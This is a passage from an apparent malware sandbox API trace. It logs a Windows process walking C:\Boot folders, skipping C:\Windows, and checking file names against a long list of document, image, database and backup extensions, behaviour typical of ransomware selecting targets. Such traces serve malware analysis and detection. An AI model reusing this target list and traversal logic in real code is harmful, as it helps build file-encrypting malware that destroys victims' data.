(lpString1=".pnm", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".pot", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".potm", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".potx", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".ppa", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".ppam", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".ppm", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".pps", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".ppsm", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".ppt", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".pptm", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".pptx", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".prn", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".ps", lpString2="BCD") returned -1 [0034.416] lstrcmpiW (lpString1=".psb", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".psd", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".pst", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".ptx", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".pub", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".pwm", lpString2="") returned 1 [0034.416] lstrcmpiW (lpString1=".pxr", lpString2="") returned 1 [0034.417] lstrcmpiW (lpString1=".py", lpString2="BCD") returned -1 [0034.417] lstrcmpiW (lpString1=".qt", lpString2="BCD") returned -1 [0034.417] lstrcmpiW (lpString1=".r3d", lpString2="") returned 1 [0034.417] lstrcmpiW (lpString1=".raf", lpString2="") returned 1 [0034.417] lstrcmpiW (lpString1=".rar", lpString2="") returned 1 [0034.417] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.417] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0034.418] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.418] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.419] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0034.419] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.419] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0034.419] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0034.419] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\da-DK") returned 1 [0034.419] lstrlenW (lpString="da-DK") returned 5 [0034.420] lstrcmpiW (lpString1="C:\\Windows", lpString2="da-DK") returned -1 [0034.420] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.420] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0034.420] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0034.420] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.420] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.420] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0034.420] lstrlenW (lpString=".1cd") returned 4 [0034.420] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0034.420] lstrlenW (lpString=".3ds") returned 4 [0034.420] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0034.420] lstrlenW (lpString=".3fr") returned 4 [0034.420] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0034.420] lstrlenW (lpString=".3g2") returned 4 [0034.420] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0034.420] lstrlenW (lpString=".3gp") returned 4 [0034.420] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0034.420] lstrlenW (lpString=".7z") returned 3 [0034.420] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0034.420] lstrlenW (lpString=".accda") returned 6 [0034.420] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0034.421] lstrlenW (lpString=".accdb") returned 6 [0034.421] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0034.421] lstrlenW (lpString=".accdc") returned 6 [0034.421] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0034.421] lstrlenW (lpString=".accde") returned 6 [0034.421] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0034.421] lstrlenW (lpString=".accdt") returned 6 [0034.421] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0034.421] lstrlenW (lpString=".accdw") returned 6 [0034.421] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0034.421] lstrlenW (lpString=".adb") returned 4 [0034.421] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0034.421] lstrlenW (lpString=".adp") returned 4 [0034.421] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0034.421] lstrlenW (lpString=".ai") returned 3 [0034.421] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0034.421] lstrlenW (lpString=".ai3") returned 4 [0034.421] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0034.421] lstrlenW (lpString=".ai4") returned 4 [0034.421] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0034.421] lstrlenW (lpString=".ai5") returned 4 [0034.421] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0034.421] lstrlenW (lpString=".ai6") returned 4 [0034.421] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0034.421] lstrlenW (lpString=".ai7") returned 4 [0034.421] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0034.421] lstrlenW (lpString=".ai8") returned 4 [0034.421] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0034.421] lstrlenW (lpString=".anim") returned 5 [0034.421] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0034.421] lstrlenW (lpString=".arw") returned 4 [0034.421] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0034.421] lstrlenW (lpString=".as") returned 3 [0034.421] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0034.421] lstrlenW (lpString=".asa") returned 4 [0034.422] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".asc") returned 4 [0034.422] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".ascx") returned 5 [0034.422] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0034.422] lstrlenW (lpString=".asm") returned 4 [0034.422] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".asmx") returned 5 [0034.422] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0034.422] lstrlenW (lpString=".asp") returned 4 [0034.422] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".aspx") returned 5 [0034.422] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0034.422] lstrlenW (lpString=".asr") returned 4 [0034.422] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".asx") returned 4 [0034.422] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".avi") returned 4 [0034.422] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".avs") returned 4 [0034.422] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".backup") returned 7 [0034.422] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0034.422] lstrlenW (lpString=".bak") returned 4 [0034.422] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".bay") returned 4 [0034.422] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".bd") returned 3 [0034.422] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0034.422] lstrlenW (lpString=".bin") returned 4 [0034.422] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".bmp") returned 4 [0034.422] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0034.422] lstrlenW (lpString=".bz2") returned 4 [0034.422] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".c") returned 2 [0034.423] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0034.423] lstrlenW (lpString=".cdr") returned 4 [0034.423] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".cer") returned 4 [0034.423] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".cf") returned 3 [0034.423] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0034.423] lstrlenW (lpString=".cfc") returned 4 [0034.423] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".cfm") returned 4 [0034.423] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".cfml") returned 5 [0034.423] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0034.423] lstrlenW (lpString=".cfu") returned 4 [0034.423] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".chm") returned 4 [0034.423] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".cin") returned 4 [0034.423] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".class") returned 6 [0034.423] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0034.423] lstrlenW (lpString=".clx") returned 4 [0034.423] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".config") returned 7 [0034.423] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0034.423] lstrlenW (lpString=".cpp") returned 4 [0034.423] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".cr2") returned 4 [0034.423] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".crt") returned 4 [0034.423] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".crw") returned 4 [0034.423] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0034.423] lstrlenW (lpString=".cs") returned 3 [0034.424] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0034.424] lstrlenW (lpString=".css") returned 4 [0034.424] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".csv") returned 4 [0034.424] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".cub") returned 4 [0034.424] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".dae") returned 4 [0034.424] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".dat") returned 4 [0034.424] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".db") returned 3 [0034.424] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0034.424] lstrlenW (lpString=".dbf") returned 4 [0034.424] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".dbx") returned 4 [0034.424] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".dc3") returned 4 [0034.424] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".dcm") returned 4 [0034.424] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".dcr") returned 4 [0034.424] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".der") returned 4 [0034.424] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".dib") returned 4 [0034.424] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".dic") returned 4 [0034.424] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".dif") returned 4 [0034.424] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0034.424] lstrlenW (lpString=".divx") returned 5 [0034.424] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0034.424] lstrlenW (lpString=".djvu") returned 5 [0034.424] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0034.425] lstrlenW (lpString=".dng") returned 4 [0034.425] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".doc") returned 4 [0034.425] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".docm") returned 5 [0034.425] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0034.425] lstrlenW (lpString=".docx") returned 5 [0034.425] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0034.425] lstrlenW (lpString=".dot") returned 4 [0034.425] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".dotm") returned 5 [0034.425] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0034.425] lstrlenW (lpString=".dotx") returned 5 [0034.425] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0034.425] lstrlenW (lpString=".dpx") returned 4 [0034.425] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".dqy") returned 4 [0034.425] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".dsn") returned 4 [0034.425] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".dt") returned 3 [0034.425] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0034.425] lstrlenW (lpString=".dtd") returned 4 [0034.425] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".dwg") returned 4 [0034.425] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".dwt") returned 4 [0034.425] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".dx") returned 3 [0034.425] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0034.425] lstrlenW (lpString=".dxf") returned 4 [0034.425] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0034.425] lstrlenW (lpString=".edml") returned 5 [0034.425] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0034.425] lstrlenW (lpString=".efd") returned 4 [0034.426] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".elf") returned 4 [0034.426] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".emf") returned 4 [0034.426] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".emz") returned 4 [0034.426] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".epf") returned 4 [0034.426] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".eps") returned 4 [0034.426] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".epsf") returned 5 [0034.426] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0034.426] lstrlenW (lpString=".epsp") returned 5 [0034.426] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0034.426] lstrlenW (lpString=".erf") returned 4 [0034.426] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".exr") returned 4 [0034.426] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".f4v") returned 4 [0034.426] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".fido") returned 5 [0034.426] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0034.426] lstrlenW (lpString=".flm") returned 4 [0034.426] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".flv") returned 4 [0034.426] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".frm") returned 4 [0034.426] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".fxg") returned 4 [0034.426] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".geo") returned 4 [0034.426] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0034.426] lstrlenW (lpString=".gif") returned 4 [0034.427] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".grs") returned 4 [0034.427] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".gz") returned 3 [0034.427] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0034.427] lstrlenW (lpString=".h") returned 2 [0034.427] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0034.427] lstrlenW (lpString=".hdr") returned 4 [0034.427] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".hpp") returned 4 [0034.427] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".hta") returned 4 [0034.427] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".htc") returned 4 [0034.427] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".htm") returned 4 [0034.427] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".html") returned 5 [0034.427] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0034.427] lstrlenW (lpString=".icb") returned 4 [0034.427] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".ics") returned 4 [0034.427] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".iff") returned 4 [0034.427] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".inc") returned 4 [0034.427] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".indd") returned 5 [0034.427] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0034.427] lstrlenW (lpString=".ini") returned 4 [0034.427] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".iqy") returned 4 [0034.427] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0034.427] lstrlenW (lpString=".j2c") returned 4 [0034.428] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0034.428] lstrlenW (lpString=".j2k") returned 4 [0034.428] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0034.428] lstrlenW (lpString=".java") returned 5 [0034.428] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0034.428] lstrlenW (lpString=".jp2") returned 4 [0034.428] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0034.428] lstrlenW (lpString=".jpc") returned 4 [0034.428] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0034.428] lstrlenW (lpString=".jpe") returned 4 [0034.428] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0034.428] lstrlenW (lpString=".jpeg") returned 5 [0034.428] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0034.428] lstrlenW (lpString=".jpf") returned 4 [0034.428] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0034.428] lstrlenW (lpString=".jpg") returned 4 [0034.430] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0034.430] lstrlenW (lpString=".jpx") returned 4 [0034.430] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0034.430] lstrlenW (lpString=".js") returned 3 [0034.430] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0034.430] lstrlenW (lpString=".jsf") returned 4 [0034.430] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0034.430] lstrlenW (lpString=".json") returned 5 [0034.430] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0034.430] lstrlenW (lpString=".jsp") returned 4 [0034.430] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0034.430] lstrlenW (lpString=".kdc") returned 4 [0034.430] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0034.430] lstrlenW (lpString=".kmz") returned 4 [0034.430] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0034.430] lstrlenW (lpString=".kwm") returned 4 [0034.430] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0034.430] lstrlenW (lpString=".lasso") returned 6 [0034.430] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0034.430] lstrlenW (lpString=".lbi") returned 4 [0034.430] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0034.430] lstrlenW (lpString=".lgf") returned 4 [0034.431] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".lgp") returned 4 [0034.431] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".log") returned 4 [0034.431] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".m1v") returned 4 [0034.431] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".m4a") returned 4 [0034.431] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".m4v") returned 4 [0034.431] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".max") returned 4 [0034.431] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".md") returned 3 [0034.431] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0034.431] lstrlenW (lpString=".mda") returned 4 [0034.431] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".mdb") returned 4 [0034.431] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".mde") returned 4 [0034.431] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".mdf") returned 4 [0034.431] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".mdw") returned 4 [0034.431] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".mef") returned 4 [0034.431] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".mft") returned 4 [0034.431] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".mfw") returned 4 [0034.431] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".mht") returned 4 [0034.431] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0034.431] lstrlenW (lpString=".mhtml") returned 6 [0034.432] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0034.432] lstrlenW (lpString=".mka") returned 4 [0034.432] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0034.432] lstrlenW (lpString=".mkidx") returned 6 [0034.432] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0034.432] lstrlenW (lpString=".mkv") returned 4 [0034.432] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0034.432] lstrlenW (lpString=".mos") returned 4 [0034.432] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0034.432] lstrlenW (lpString=".mov") returned 4 [0034.432] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0034.432] lstrlenW (lpString=".mp3") returned 4 [0034.432] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0034.432] lstrlenW (lpString=".mp4") returned 4 [0034.432] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0034.432] lstrlenW (lpString=".mpeg") returned 5 [0034.432] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0034.432] lstrlenW (lpString=".mpg") returned 4 [0034.432] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0034.432] lstrlenW (lpString=".mpv") returned 4 [0034.432] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0034.432] lstrlenW (lpString=".mrw") returned 4 [0034.432] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned 